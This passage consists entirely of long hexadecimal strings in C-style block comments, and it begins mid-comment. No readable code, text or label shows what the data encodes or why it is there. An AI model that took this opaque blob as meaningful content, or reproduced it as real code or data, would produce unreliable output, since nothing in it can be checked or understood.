3ad5bef8360578eaa94ca76092cfd26cfc316998482a60c08d43ca2483f5f9e2a4e0723006bd480a4580529cb670f4fe88ed18664a2f1cbc9ac61a10732650470530d35f887281cb6febc6155412b76f42fcbb234c723f146dd5d9164769b06c41e5ff12020693811ceadd6f8fbf52542e8e456495595a15f4963df857f026a7cd3ceff35569d55fa31362866fdbda5e392dafdd4f4920c065384302dad3abb131bcb9ec49558fd81c31120bd05d704a3c35341920f81cb13f10f1f180c9c5c8cbf9bed2556e4cd2c8a8f3fbbfd755b75bcfd7bb54d5c71ed882e55ae90cd855c7f153a89890463fc7f87237f50bcd0735584e3ef10e8f2455fbaffc984e33ecf397932574b8044ab2dbec1925704505d6557187d1bc073f54f32bafa598110ffe0be5b8faf4c40e6a5cb726c26ef9d1e2fab281d5a3253ca9dfddec9ae784dafc94eb84263865419a59bfbc7884644135ca905875559e60abacc4581d3dfcf3b7cfd0f7663e5df961e963aae828f1e54f03cb1c565301c89267ab521972ba719fe28b3ee18d093bf0d22171df1ae90121a31f8a00ccb42d3a5abfddde43f2c946a8fd057ccfdcd0682cdeaa02af8d1f3126d63199e681c502111a6fb49b9b9750ea955eae58ef2f2e3e00a6810858e990f065903b7cf44b80a445d6e67fccc30c002379514718e9507e41bae3135d2716b3e50d4c8ff684ff95a2fa6839d0d48843505321cb4c4db68d396b9*/
/*dba257a8effb23836e8192236c374b8bab605ccd9d413a2af64ab796e499aa44e89b5e744f1b8432114d5f76ca6455edf7ab61451ba591360ee64827172105c56a9751b23d7cf9390a99ba88e45535e061d5a0510f5300e6223157c2f75dfcc8b57d66cd9929bd872be984c08d0b05f7e0a819ccde9a83d97b6f6906eab7f4f40a91377fdb74d7cd66ca0faf9ee8a1ce38548d8186fce5d744c207277403bdc42d5822228dc7563887b1866ff93ce4c1e5a07e6d42c7cd17a38fccad8e4c151cafe45b1733efd169c7869610679141d9fe23ec07440a61033a299f53dbd0edab9a7097c79211a3d65e376525dfde1ba24fdbe525a3c8bbed217867a8ace3c8d2648acd00d1fde219bd4a53d0bba6230ae1c0f791bfbd898524bf2383f978f1e182ed148a1d3901411ef41c1f4fe16768e1ffa3c12071ef065aadffd1febb40294b7fea63836aed9100bf0eb21846e9c05c71cdd57787612b1d16acd4b1a6e78b86da96d4de0c38f7685bf3d60034ac73f39d35fb247122dbc34a461a505edd1a7b3bae8fdd34cd9055841085f864ec1bca28a1a5d2fb149b3d163a85ea830082484f25bb53d09c6b55e3e4b782c00c20fe992dc1841869786d7723e414cbfeca94a738314a7b9c165954bd2efda0f0e5b1acbbcb639ee463c3f9a6b8bb595037c37cad7e1fc35360315bcc3325bcfa307261f5c35901b2739b3327655d83b11aa4bf7d2512ce7daba07713daf61cc8b075edc12f0b30fd54f70e136fbeef4765544f7ec32685b697ffaa1061e4609a116af2bc9548e33d45b86ecbe2305378b098ad313284b28077662cbc0d302098d94880c740bcf688607a8fa64e8ce6c508ca58166b348b5ea1061fbb0f90f2489edda178325dfd5395af32ab3c51dc71e7063be0e08d18de4421c0dab11626ffb9d4de8e4906e715dac8248c949afb81e2802d2f03bab64c912ea6cf95a94cede6218ba0974b044f269f27c57fcf50cfedeb6e6aa1f0fc593a0e9aeb3d9c728a425c431b4557de2d76cbb6c79a7337feac9739e2f105f74eb80fa3576b720cf52c9f234c4123814efdb1b5ba5d93fa8dd321768884db314dc756e72eae451afcec39cca8e6ef52e3f66494c047834e939557beec813866b8300a25d712a66f8928a16178b8945c9ce263add41263374b59b84752124bf9ee6231667d57337296e4c2c994d830fb25b83bcdd3f29fc106eb52602fd088493baca703d7b30c8c248ebb5602d413bfb5a4e982115c29e4db3ccd2656a4cc9e46b399eb33642b8d51a50186af1ac0c1168ab7d19200f08b8dc081de1eaa4bf226a188513d25d8dd19612ed986eafca9572e5faefb3ee7756f110aa251a8ccb99493547b97114d7a3537687cf68d42b9ab6ac68d3aad717c806eb7053e57f9439c921a65316456debcbb21fec99332ec578a3e5acb60feffd5118d715ad348c4e74f42b6b9f025910c417eeca4d90fc32e40ee30ec32dc4a167976cf23912e1007e1aeb9da083da3fbdb76b42efbc00d5f7f67595f941fe3e7b9d49724cec00e562c85fafc2ccdc80dfee8292b2029533f95e11787f6b9d4638803c87ffc952d47f6ab9f4c55b40f846d799c0902b8e0399c0db776827d2e3d2796c68f8d041e7840f163172bbb5263cdfe9bc802f00f0b36df9697c07d3b63595895c21e582e863b07c102a32e91249c20225e4455fa471b099b0c9638ec6a31ea73603d81bcc0d4de18fe507cf40ab9e14db4ef6bbc80132bc3ba9240eadf2db8e58e61d5dd7326355ee90ab8f373407eb9771be4604920e1c6114d429213c8150759c2bf0e71ff99a89dbc5f6a83515f4d1c24793407b11d543b2f4698c20174fea9577be29294dc909b9ca03228364e11e1fd2cae872f6faecdc20ed0fc033a3f99f39b5ef549b173273854049a3dbdb3c980a398556819a6df45ee381719937f61636d0a8730bb99c8b34b9a15f49115fd6906a6930a5eb8864d84f1f9d3dfb18721a70aaff6340a4282f770549bb73d5660bf5ac6a611ff4f5480ef2cbe0b806a493777cbb3887d2086a6e3895333a76b1a78057383ddd0316bf77c9b233d96e3e9d7c05e1fe2af7cd16a1ad2a75763a0560865d90d0fde3a2a114b30c5c20ce5373f655ce78e64a321342708e01b410709fd29709eef3a470a78b1818f2ae7bfff52a853c4f29f976fadc4132b0d37bd9dc6db63e79a3e7568d8cb046c30827e9d7d8f54f5200bf1807dfb7076c82dbe95b162d58dafce4a54c6b3fe2a26bbc9d190ce2e4058ebd1cc6972ef86a0136954887f6b91c1db46aa9c8832298170ee18e2c031a5dcef683dc8b009b321d78317c8add06a6040877b8d46758f5f6a056482ffd76e8ec5c069c8fc750713c44eb7a347bc0e33fb8825c4e44306069679c2773a5ce3f145e4045145a5b9faf0550e02ecddec37e43338699172c923be889dd0c62045c5f747d62dde181a099023a1339cbb4a052ee7ac7d5a3830a904fddd04c8e20d01e052ace7c8054968b3bcb80935e951f616f05b43a54bccfdd79a57ba0b3c74e6b714acfe00f14e5762287240c036d44b4ef1e49c7bd2f064b1183803ffd7d393d3f30d0a74fbde4fb2bdd55228da0c2d54b32d4bc94dcffcc4167982d0f7e0a1adf6a48b8db565ed9c312ee40d27223a25dc557be070677579d4ac3b2d084457f27f8b6d63011d0c5d5eae2c3aa5539d990b1a2dd92a984c2f3d548c2874cf336cd71083b6010f5f74c9f3f1fe26cfc0b230b77e41a1c2c2d1ba1baced8d29f1da98b9d762b2da1349fa12db470cafcea489cff892e3385919d5ed7cd1217cb0d056814eac3bd6*/
/*dc375a34c26bd8b7052390f9bd791ed734ba009a8e0ca357be5e4cebd4c75f108003ca9626c29b824d6aefa44a9537bd4db7674e75e3650109ad53784d37708083b288b45bcceb8a44d0f95f4f9902b5206cc40a032cde6cad1bca43a174dcddd10155e7027ee6cddf6956296ab483556ddf6cf59f56bd61950601b99a8a2e1dcb71ca3124732b1b12f2c2b29c7de23ff2c15101c95e7d9d0aede9c43ace51d0d91771b1b1a5178a8179306ae1bc2e1739443c0160d78cedd20661017efef03dea3d7a1a989752c468b4929c39468a60e8c84fa9dad1474151f3ce3be0a724cff795228e251b55aceecfa95b72eef0b1529d3b4f839a9f0ab8adc1506498e4090b5a9e3109ccd5c306dce9ecd83a87988a0eaf878661f462b58b403e33d204af2e2129c6441b7709b1503d89b3d61ad77f55aba8dfce47582a5a3c1260378144bdfb8cc3ce0d2077c9555a1208af2e34963f72c25ac20eb302670cc7f71824b52fe54bf11a51b628402649052fd596388365c7360eff915f355944f54086a17dd3326b8bc538ccf651894843fc4718b767217067e73c67bb4ca94081727cf6a6eca5d4947d303129269334a0068420e3ee1df22cdd49073cbf60a3f8dace44835247d908d2c6cae90455f64d954e10f5507a0bc322c98d55768509160b410a6b33dba565ed609655e915aba69d744d80fb6f54ee71601a04e8ec4427838415acdd8f80028e718fd544d35cecf42861553dc2d9678485a7e87229a9b20a205b6308917d0f515e8599fbcd9823e4096456d174d06c1fd8d994c5dbf4977b50cec590b852b95ca7cd46182d33ec146f13c6be0c229472020fd7b303c39528a1d69c05b3973544b78a62bb80abc804d2416a120bd9d25c2c48368ecbf7a9a652d27e2738f6b4eed75136480b65fdb7e8b31bdfe913823e4e1d73fb0b4eb94f3781a428961b67d675d9c3d08f914de58a34007a1bfcb9de87ca2cdadda9108ccdb71040cb767183ef22ff97fb6cc9a74618744960d776e49becd337df7bc912d616c10ecf309ad7ecd63d77f33608a2c268460ff751df12b9f1c5386594309c65492c4008f6c715202a4dea08c772417a0d0cc3a7578f47a5d1e130ae710274d6517fab7fdabc468d02004f4119ad804f6f2cffa5d417d42bce2469439b7d16e345ba43f83d2e3731e4f28d16a47d709a0caf38f7e9709ec8e2070520a2277ab875f180bb1e4a15e5a634be71e439d283e07536e08f63b840957c836f8e33ce91dc9ef33caf12ee813263ecf1bc0d78a116a9132c908190c6cc8b6f3bcacb70f2ee4d15e3fdc9b50162af3c832dc61bc97a0d756fccf781b5977c178a72579e12e2b9d0ca112954ab4c1dc235137079a3eb74862b365530f0d6bb234606f172ec7217487619b41f43bbb6b72dfa41a533c83d87415ca9cd3ef7128c166428eb544c271bb9863b03e8902999abc754edbdb32b0d56337c911ffe223ed89bbfddd6dd829ebc35a720aaab14285c949320192d718532ca9d6a0f75631ff52258fe9f1d4cbadad3740d2a89cb10deb6c7405afa687742ab38b43154845630f0f01717dcc75fd3258fd152924b8df383e100fc9721c54322707aaa50d9c446c8a42c2b3981cd26dcb16907dda281266439ee7076c889d13b9aeefee55898fda28cf093ea15287e4e31aa3196f9937337d9a6c1ac2b15acc15ec61cb5c3df0cb2f44cefbb04b3c25a220ccf533a8ccccfcb7f5dc25e2842fd6d770b39e5087ec97376c0bfc09e25338ed0fcdb2d9b22b3713aa69aeb43a92e07a27444499fb22076e4caa3dfc5c13ebcf03f86551b4b94b80a515026da2e2ba5b91e9304e735f70623dffb8a421f14c4665277eb7a68dc0d87805b6dfad0934215810e09cdddc5071fba67d3c1ce4a579f7b127946a3aa2b166f4cda1f49a209e2ba85f2b9999cd9b0531a54ddb65b1dac0466bfed169cd60a9b9c29b4e2b891b584029f25dcfbb3bbdb125b8465aa078f929c4c12af86d0853305dcf86220fbfde5158587fc39c604a6ef42fc30e33862277132515b911ec2dcc3126d56e34005bcdd3c6ecd94941d7fb1e3c8494c99fdc95f12e0484e3ca48dcb182b98544770dc9b0bf85f96601e9ca390b0b99bf46ba6d2d251a1667dc9522481d1d4cab3413178f62b8b969edd78e4dd1fa2d2b25d2e2229684065a4fabf17a44f3b573c8eefd921e829e92f9fdb912b0a4faae6a5ba3930e9f252a6d04db4fc1daeefab567755436e721fb02383c306f54770d0be664deeb1a7175f6a5a373b2f71f4728c7a352457e9baa4b11898fc71455241c85caff31f4507ba9ae3f61f2d042372255766694cd0b58069f8426563d0395642308424469ddaea5c2d1d2f51f3c5d812731220a40419b02760c7f7e3c7fe512429900ed986647937f2013501ae4d4fc45fd164091b2550ba0ff09def5e15508d6b66bce403b1d5c208142c55ebd6c9c2ec20b94826076761397db5852628bb703291b67bf61077089f0d14b0e55f1968b4a7ec92d64b1d403af88695b0e25d7359165c1e580b5dbaf129d648ebed7054b40ed9eb312c5e7ace06c9b08a90bfcea9bb2965bb924a988bc7d1d478187056229d42dcf76a1a7866367a27a640160fcb7ffb563ebb2a58ba189a19f140f6797f879f2db4f5f699f5087c2091004a555e466ba977725c8673c4cdfa32209472fb6b48cc6837249c9aa4b61ab05aa5782c936fcac9d65973259b9f43983e54832be87a754c06b0c1379ce9d0276e74a767a44bf40b40f3e80ddc7b83fff051ccabca7d3e16a2d4a2cdc1107e4dff142e2f760d0372e3809387fb5e*/
/*1b97aec773c9e3c191287b2eebfaeaedcc53154627e2d61f1da295f90f6ac4138c39d84b529a527a4b00a2479f524cdf34d5dd2000d537251cc8729d6a46da550afc8dcbd16e7a02d21438203aab3e6680c5d611b55131ec5175752b9e7e6d2b86ef9d667d1e6c0794cc6e5c2cb5b545ba3aa4d0a781ddf13b4f717cf58ef33a5905d867fe05c8b18c3e6a6d2af0dfe7e2f5d818939f312ebac638673567bd65d30193941ad5b24e59068d8f5649b4cbf25c744753aaae789aaee00c97fc0b4a8e88c22e33891d80aa72e9ee663b301d9e096bcbcafbc71b8afb5ffc21b92b0494716c65293029806b0958037711c54af3f2603bcf95f96a12c6af5e36c5cce7972ac22650fea38ac231c879ca4eb3905267914342b5dbb1eae68f3ff9305e28402ba14a33d3ae5d894adcb8fe9faa181016d9baefb8238f0beb811db3790a882841f5d054d9638e5bdb4f107a3fbe02ef7f05f18f4cd621066e9bf2007a15fe6932d8a0f8c4c924e26077a17f4cb2945fc76ca845b42131f4a87bf59b48bd5c90fe5c215f219db479e13f5ba08c45644235a26192847744c461ff58ab785143c6ac9eb3025251f3d8259d76723709d475f6356b2c4952a88998ba6a0bdcc3030159350164aee1face00e0d9dfc030bf0d6f3ced50c7ee572a85e2ab2e30d0b96d6b6693bc64453e2afbeaa261d16e67ba797c70749fb75369392b6e01c39c78a5cd25a069f5bab71c1ad1850a684377467af28778d9bc0dbd9720f4373a7f0d254023a850c42d0f1585505e016c50a6bf02289302f0c9a7cc88542ea4225cc6cb49bd0a383cc6d968a4eb8ccad6bdc320114c1e79ce78170d757b089d33b59318117eccf4bd3f5696648d4708872cf8efb05ff0d64f0be97c792db7200fbd3cf99f3f23f4ad23e56bd5d2e5d6e6538c15cd7199ca081985ed8152285659acb589e3fe13a4100049ae39a0d90c1b3a897ca429a1e9db5b28b17f141c851145562b90bf9fdc26fdde787f9fcbd01127d4fb23c59df9e74700f319b45fcadd590f14526ea7984c4984661ca182fc600594627c8d30792b9c15647fc36899adbd6d8ca55797932c052ac39b4836aa0de6f459b836bf5812ba6a2120a55185fa94fab98ba3c45343b0a7a480d90a80e689ff983c1303c9ed8d64172bc7ee62bf55a7ff732b4800c21f31419db7746176c1b8de0f3ea626a87c889451f67a01d6aa3586159578a330d20bd441bf24f73c23167167291586f652359940b5ed9bb707a83e671225b914054401c31ea3e479b85550194d24718c25774d05b1ec2cc4cb922d5a132199dd22eab0854f148c5ef4930066cb642d6809572b29c4d5c72c8550250196b129240bf8340012e98bca5d79a7171920f7a9c0ac14a2830db429190611efedaaa1ab951f907d4d1c550849d7eaf93fd83417faeeee1983a1fe8cebe25a1a82a90928a455cf3f56c5c5982787753d79cef2749faf296462930d83db3fc36255439ec3b3303e5fc0151f79d54008fff047c1910fd51a39b7243ddaf68ac9e67fb079aab91e35e36fcac328d0a82eee9f2c88a31cefc768991ce3b6e83fda039327c856d489fa521857bb5e6da86f75ea27af78536291782f5c5e98ba6dbb8c66cda0b85070e879f22be7b67119b9ee3625f9b326617fa67144a6b40a3e344b978efccaf675f80d96d2e6f1a34456544bdd24ed612683c876e0341afd12b875bf2ef58705e810dde15827c7911452290b9013551d566a48486d8d7e85eba1d66476b1d85a4723daa1e3e8cf610977f12e1088d788f76a62c8a7d19fa2a3679412d3c1f10ad69c326072b76f291ee525a2823fad253991571231acc7dac47776ca130d1ab6751c30ca49ec8d40fe1e3c01879e03c860467f42e22ffb897f3eb56d12d10aa8f47979f7ef4a30938986d0153b5647b0df5a6d3b7517878c8bd90e2c8738022ced4ebbd5561fc159355b15a30ef594ab0e1118f3e604bc58a466d57b0ad9931be903a4298b141231c46133a1b799084702c63e19a4819d9875d50b8d6e8581974cbb564974166737a46703441567891a8dbb7bcf03ac26ad9b9faa577ab9513f533aa90517dbd05cec90cb9648834f6b952a6e64adcc8d03e713bba406980ac29e2bd6f98f6478736c1afad582c362cba24eaf0b3ed65a6b3aac66a55a94e9c6c76fb2f273e1f28ba7ff3b4eaa94d103630b1bdd3128cd26cb92f9f2d779a84eed38b85fc10f94f6e7d98efd8f91d02ab194760034a49dd1d2b8441a7f47030fb449c62428ef183c428464758ee7449ad3ed524b80c40594e2bdfbb4e5527de503f2fd8b93959bbe868d458aa72747e7cecf10265dba1cf70b7046a27f3c223a4aa5b06dada1ccf112ad4057874d4622809bc650dc876a08ca8ffb72fb1b630b47a7f17b5ffc66cf45ae1ef96134a1e48ca35f2781cd0806c6a2bdfd3d54f4087a9284ed2c584081eea9f5b8ff35566bf59ff8b86586380ecb1d729794af0fb0451eb7b0d8e13099e51e060c4c6069ba0c0b88516b54f61417854f53da7f8f5bdbab2066be00da0687461d24b93bc29865b9992ba2982160d3a3f6009905657b61f40e6f5985ab4aa1fa84f00abe39e34430c0bb35dc6c923f716a2d2eef3635f39d5b9068b008b9168a6a78147fe5d037627912a647d134ac24ed8ae5b486e21f00a249d5267563971a69049d721edbf0cc9e77f410eb5fbccc31ee0f2194897ff871d11f6eb156430365e11e9c987057b675b4eb7b880476db3c9713a1d5b9409b299c18daaf206d3e04c18039da0aea5523797c3f9789bf14978368fdca258f7c2fa57f33f07e77*/
/*89c018dce71fb136d63c380fdf19f8b15f57cb6fab269f195876533ca22b86e3d0be366aa1ba1f719d0f9ce7233fd62ab228f6f469e3b3745c155a1e0888b4c2c620314ca00569c659a0d4c354485ad3baf4173b44eb9004520860dfa0a81963ca311696b7fe8c832d46eba2f003ba9e6961d9d5ade6b5635b5d9ed1683445cbb4d9200d806e7da810481121e3e04235edc7241370a623829a81b07b46d5cda9fc3dba46d52fccb2bc04ec5a251357fb7c2f3a8802e4b15181232252584d807be277be329a0c284706b36122908d6b0f8717c765ead92dc072a2351cebcd0328625acc8c1ec07d5584499c94792349e540829876977c11321ea37df0e54556ef834e233a720eb32c9edc30439b940c03eaac66ee7dc9602574bd4ca1aaf1200ff32589cb116ab21165f4d239397f1428de6a1c93468fffcfb9aeab407a72e870fab8fa41da9d8171ddc07d70cad6ae40505e3d01c87740cd5a4654f245850b83c820aed2f3e7c01b0742428a05765282204e62780c0d2e7d41d743c5552a42366bf5acb2996eec79d46d74569d0a0f41e385f2a63d834510ba5e03458df03f821fba07616cbf93dcb035f7d824c728ab8afac5a2f5fc8059dedf7e484c77fcc83d858ef6dd266d0c1ac57f2ef1703fa504b9ce946ff97080395ab028428dd6b75e83154319aed418bf02c0e69908fbe9efd3c777a5a359ac727828ab03eef3819d96265e0e7e764f105c5fb966a25fcce18ec13f5a2fe3e9aa0a6dc676534f1ecfb725a684503fb9eb84a913a9389f63b063d0737f08d802ab3b8ada9c4dbc78fbc4292d38c2191da67328e5bb980009a2186b5555c7535b193b778ff9d4841a19ddb1d09431028ad98382aba7447d0b1f22c3fb9a3af4de830e48c27df1714b04b26927e3a8321412898c5cec6a3874c9ede033b3224f2b1bc688312d3f0ea6d856dad5870f0c2b14c0e1a3334f3f03f2f2d8ba42f8155a032accb51c2d417d4e5757fdb44d1398c0f06167329bc3e7cdd5f9025631e4639e27ae156568d4adf42d2908f89c2bdbfec23f32a3c165c037f5d9c5aec42ce5ce8ef7d1e84f1a4ed43ab4fd6e6b96fa7aecfdcdaa430e668a94417a2232b7862216bd2f6e6d172a5f4468568891b31ddfae49f1f9bea9816a7ed85b3cd09e2a46fa6514b6eafb5c19cd925cef8041bae95e8d076f7733d52d0ab54f84c966fd1f08cc4e757c4aa447b1b68960a12c139cdfb4fcfdd54a709732553f98d99b8c64f34d990ede675be6523316a164703cbae825b11fc0056f13befcf3bcece32f569f7b30af5e3d6b51c655904b4e89be7a8d0713303483ba21c8611af1b97b0d3193e2e18e025c92db17416a2b36c44da1a2d018329b09482aba10a2ec3a4df37ff93d1026191e5a04dbe33ae3205711ab28343d894442e8964fe984230d7cf716b8655d2eb9e314f666379ece1a95abfeed01ad4f88eaf26fc646c516404e9905a8b2d328ff0e4f76c1fff07bb1d699e99b59b419f9fa32bd03a9e4013fefce85f9a40fe7e9b378df739ff0c1ac1a01abc017befc1a68eb6e76747419026a67534b7831c23f6e68250087e2fa87418d16b9e81020a9a0b5abe83347ed23275f38dcca24a3d18e8ccb4987dee859528f8dd5c510fd63e0f98a49d925713a885594d520083af2d266bca505ccd323e9e69037c38471b801d0f265fd839237dec4fe5d0d1add6ce879d2a6f19a9c60bf6ccc4abdee0422979a89097542c5cb75eff90e133b1cf4033986bde323746aff9b6b3ac4cccc40c0f6895fa098da0dfca4687c36c414b7f8eb58d581b72cce347317c354ed7ecbc194807ceaf858537b5e1e2fe510f865b4965fbba83637b466aabc654776fa6da3b897ee1304bdd1a50488c132e8b4a897065065c525217abf2c1a4140f3fa541622927cef213013823bd85a60fb39715dd983a89c25880385986aa89a40e4879470228b183fa966d9121bd164fe31478d1ca3eb0fe80887b13465343e2dc23436867f3479c2a684e27523772497744be52af6ba63c7856b133cccda9347fd0743ab7941c32a795ced3bc99175a753a5ffd196a2c5c349a55bd1f6de35a3667bed93999cf0a981eff987aba600960d110395e34699ab35aa662641327c0a3acd87a356813d0ecb09704a970bc1fc9ef6830b7f5aeb77e66be7f529e4dcfacc448c46b4482d08954d0c5a98a9d1165bf86e5aefa2d5563cd615d53ce679ece4cc81bd6cce08050a383f906069a1d3e4d6187b5fcbbc36be0f89877fe44b532548ba1c880fc3a59cff1ee231cabd2a74913871b8449ff071b20169af23495e7e638e3fab1ab787c85e28d7cf75d81451295a0dc66b8b9c66926d3535ff12888937ccb34dea945815532bbfa17173dd35ba4adc8cfe2d720b5acfa14f772873aeeea74272612dfdc427029869254efff4fa3d43acdf2692fccbe82d86176ef3b9f215c652823c6826ab931d5e42d41aede5b7a8436565587b1c4d1af678b2ffb7562b540e2f24b2dd96b00838e6f02df3d1c457323ceaa8c82f9ed05a71350118a04cd67e295244a99dca03e049b6aadaa6179ca1106945390d8f075af4a4aff62e1a9b8d470b8b761d4620ee15d8bdce3b637cfafd0afd3662220c91518989f287abbda9305ffeb03e907e956c1e7d26f72a2a1db2fe608676f79d095b5fea770bfd7cb20d0e8de018a15fd9003edfaf71b0af17ec00e2f0b67dbc1fcc2febce08c47df10708dd7499c1594f2913656ddf540924893849260f352521f88734fffc7f1de0f089d29c9e54b5a5570198281ec7641870a5f2a8be4c9d9e2a85167735ec8d*/
/*6b6c62a5ed809c78ae82773168e3e1fe9fbaf2bd480d051e137bbbf573318d243d227a4b3197218decd2851d1c1d1cfbd06a77c91d59475d7c0369d7c7bd0b805f4cca3fa022f30cc3f7464fb758edb4019a49821c33afed10ccf729a823b07b029c7822413e53c442cbed15c2adce278d38e7191f563b3f632b3b722f6c85de2fa3f3c67cd2df005cd9655d7695cb563d8e17d34cfd4c2db63f3e2abeb63a9454a0a2b338657671d1b192e4dda2a6ed93a17395a15e7bdf68fdda43ad1d22774b845335df11c590f56bc04f607bbf444ada4a6337d410b21767f7cc594c86746cee7824e4dfdbf6da7d5779582158ad8f9f556a3471892924451724f0489476947e9693e607567f0cd211b77145991dcfd3f42441e668d294036fe255e7a00392407bf804c84f8718c9d227a80e0a34f4b97d0d4e88cd874af37654bb43230b8e35c6ac70836ca57db691301ed13a9743c1cb25ba0ea1fecf92139244a68371e4b36d059c121859ace4fdc33873748888e3ccf6803453320077c73a200254b19fb427d20314932de1ae2495192a041b48d16b9fe21366752777f4c625bcc77cf1f9ab668cd1680436ca74307a78c48d0a92aa8a73d48ead6f6eb36a33ac8b2ec54c30f27ea7726ec791715484f68629817db1ac9e0039cf9d1b5d2cc19279b136fb452da5e52bf48a3f4b6b81d7f164f05cc00d510b0682c85998d2235fbaf6ebbf5753d72e75c53476a1697543dcde8d5e011d6ccd441b419422222bc5f231a3ff422638d2feb6d3a0cd91da83507f799978e4e8a71b4a12be1207223278f7bb496e0a355d723e508424b887a3c702ad8f84ba0983f58d14554531ce6c2b999767856ca5cdabc3d187047e20417ab732573ebb0f4b032d16bae8e0173b4e6080e992ceb5d93e6f89993a7b58b8d03de0ba6f0a9cdb71d399fba9a440155d0ec24f69fcaececdfa514171ba19af4175f528becfdb99c6701c1586faee79f81ce78308090c732ff385c05054952d5ff653c9d23e33afe86591b7847d3bb71aa8ab477227e5c1840a90e5ee75ead7677eba6fa57ef2a884dd865a82e1bc46c4bb0cf23ac71f11dd575e3dbf13414fc1c8117ffa6ee368aafd3ef4780e025350fbf8544e774dd5b08c2f182171381f3a3657ac40e2701507b0e8440e265dab646aef27d7abe7fbae0e7dc5e2e7775147c5193ee86a6914735fa7bb469882c5d4af798477fb2cfca082d3b8e7e107cd64602bd3c1ff1adf42d61bde14e3de1cbf5b4da1651c93fd5ac9aca1c1eef6a8927afc6fedeadf563f31944bdcf1211421634d11999ad3a696c130bce32483cd8b69e9df0adbe255b3e018962d9533f8a4a4736dbec19052c90fc900f95dce29225bcf112ce33e3a41b305e3167f08f0f59ee37db02ca51b7d5071866330591448c7c7d27d6c81f8be944d135bca8b524f7e892f0c8d79f108bd019f65119493c650bf0797302dfd837563737cfaa192f20fa4d4f88fcd15b1deaa5aff8caa90345be3478a7015e48d2123d719319bb5049feef703b4f1d1d40f62f9a544310d8ded0ef40c97047f21abec0e83b774d275bcc20b8a1ba9536de3ee9ae55372cee9a21c52f93c25ee79a7a034c564b20ac414a371e37fa11c06b35bf602dabb1df71711f54241b9e966a3dc53ad0bf839d2e57cf347eb80889ce22d079372c1d403f65bdf97a531a4095d98de0e380f59dba385db9bde12106eb0b6087b068ccd3a0349cdf52cb5e0f6555d4c10a7b2c8a161761b6c66f089d244561bf16d10166600a328c3aba24247dc8071ed33da6a09b8b2fb27de4b0fd0313193fc965ca83fd49c495b0f2cf27b3308a9029e2107bc8ba39d74a5d9f298bdef63930c5a229a5422ac3e917b5ceffd667e0f224b305ad1160187f81a29b4d05059419a7f142b812ad87d2b56a92e21f0eff3ddf7b7cf8f81af280d6c07e902693b79136c3ffd9580efaf626e21bcacfd1ff7e078dabe884e3b7a34abdb34b90015366f6e3fd5779fd90bec71e2477412b3ca72547b5c5f6e31956b2fcd59a62ef2958a5e3307789567e8217e85aa82a1c26a029736349735796cb84c6e6bc2405f537a4e1aa3d8bed60db474a79591799998b9a2d5f26bc0d5801da8728458bd86c5e9a114703db1e5a5d39926f89514b243ba603abfec9ba29c0d3089fe863afaea410ca0493a672303fd4ded803979e693244140d2c2f90080781a917a035eb767aca3a3a66a340f1a67e6bba5c24cae2125ad3a2f87edce7168cecf2b132046458c5cede6e48ac7af650d99c91cb8f9c9dc3dbacc48c08772f7cb40deddf8d8173a4f2ae46963d1735e0ba84d3f8d97b4eda13512bc793a9d8a47d1ceb302482c24676212f8c95061d7f23ac5c5cb1584f84260df1428d78b399212155aa1e83fc6287fff2bff84827a92fa862d1aaea2a33413d254b1a892005045814aee0217bc5f74dfda9dd91bde650b85ee045841d60cf10ead240269d0e35b17c50da313ef52bc21854259f069dcbe6f096c4beb9faf16572afece2fd204aec7fc751b264b1d1327e3e6a6cb220f2a1598a803a2662a6a66806f97a1aebd7b697b0dd2c8ae57b6bffa44fb6791da76b6ee1bddf1ccdd0deb86ce22af478e62be46c6b69fccd32da01d0a7c83070ac73b9f20424b50df853fbfc2307cf7163e9d53daf6a2515c43a48a0ce362d53e11603c6adbc3dd902ab1946ea26ffd9413556851f15ce5ef5f405b1336cad100bd037ffb7c74b99d2163b946992501260a7a935d8b97cc0241cc9404d699b0ae165b573c1c11238122737a59226c6ba4fa6168a253c06b335d18f7*/
/*f50716bca65357bf469c74b7114989780ba513fc98c0e5ad3b1e6b34f3e5b240071874369df596c9ded3cee29df047b09ae0f8837957eacaa385c53416a933cb40310ce91770742ba817e2514c750d880c35cfebdcd1e6253a4bca2b4555241b21c116d368fd9d77a3e78db0faf9d753226105fd06c56d43609b03ed64d307d8e822f4e8c522dd83a27795c16b2c72a8a4ccb0c9115a17154cdc783f3a8384348b1a77ea52984e94ceee3c07d085f46d021755b1378e4fd9ed3745e591c0d70f70c3c8f393add7a7c0a3f989ce5150e086ca3f61e8dd4c9614914ec06f0ef6d36d09814fe4b6e9dd84254987cd3b734b5c665dad4114dbb4044aea0ae871ac1f61abd9fd0ceb7ce922717c055760ecb613bb560d75b81c0cdf64ac8fa1058b326985145dedc7ac7d84bdcc852200ff69d83ecf6c244d3afe8c68b7f245f7c8e8a61db54f62193e48a873182b76f0118ac3083e9a480cffe88e0bcbd3b8460e114fa474c8d79cfde7d2de97f5311769b57e13b264173eeb3c3be32987ec890635f2a39abf99958a80876979bee3c8f93db439d12d2d902d39b11d865bb352555f41eabf462f0d02f260bf8591548df568c35e7176db05e05462395ac71e06e52dbeecf8f11d6708a378d34024ad5db13f2768ba81301d7d2315863e970ec7f0a18401961b8c845ab27afe52314621245002a4b3f3103ff4561653334a9dc25a3d7adb0c94c6e7a93f958a00088ec164673d36018816804b6183901596a8526af0e779d3cf6b99d4fb05aedd75c6a4b82e800fee5f9329b70d0d6435a3636a62697db48e5495bf30b13a001e52a2a539136d26fb3337b7889ccc581c314ea4af8ab884458ecbe9b5ad5efe8cb7d893ff727108cadf637645344dcc9eeba2033d961742aa1960170a3838f1636578eb019c049486f782ccdb51fd633875966ccea2115b644fd984f09a0250310046bc76ed1708dc4c9aff8fdfe68900effebfb4bb33b84f17757d5dc288ca61b72f3af67a9223e5ff89189b99800dbe43b28a6ffc1285977896fc1e09694f331ad27db2cfdd437f51188d9cd294eef697128cfb2ac5dc035b0348c0d20561e86cc9f54b4bc2a47d97e595dabd9f6150244f98ff49b825a54fac34cdce9b3a1e789717ce2e3c2b94325611536c5eca27e2004abaf7d04dc843dd14cd0b108c1f497a0b562b239fdb0cb2b7cb292333d903a1e9f446763cbc4c4c994810356b44d57078a48fdd891172194a309057c7033a9b802dd0414877b8c0bab88a05430571ea99fa1ab82e43333e86fe4064f244674a896bbfc8edefb2c4959615bad5a5ed6783176ed9d60a0a214aab4c92d2e16a94050a52bca8d5c653ac64498071a1471687d8684e9e21c80f65be197bf33783fbb7f75c795983de17018fc38657189012eca2e364293706d6adb60e7eee06be204d5806e7878c8e7e6ee706017dd900879e9885336abd7e659b141bbdc52e24c92a4c2106217b4f042f34e6b9b8ce411b09089cdb4b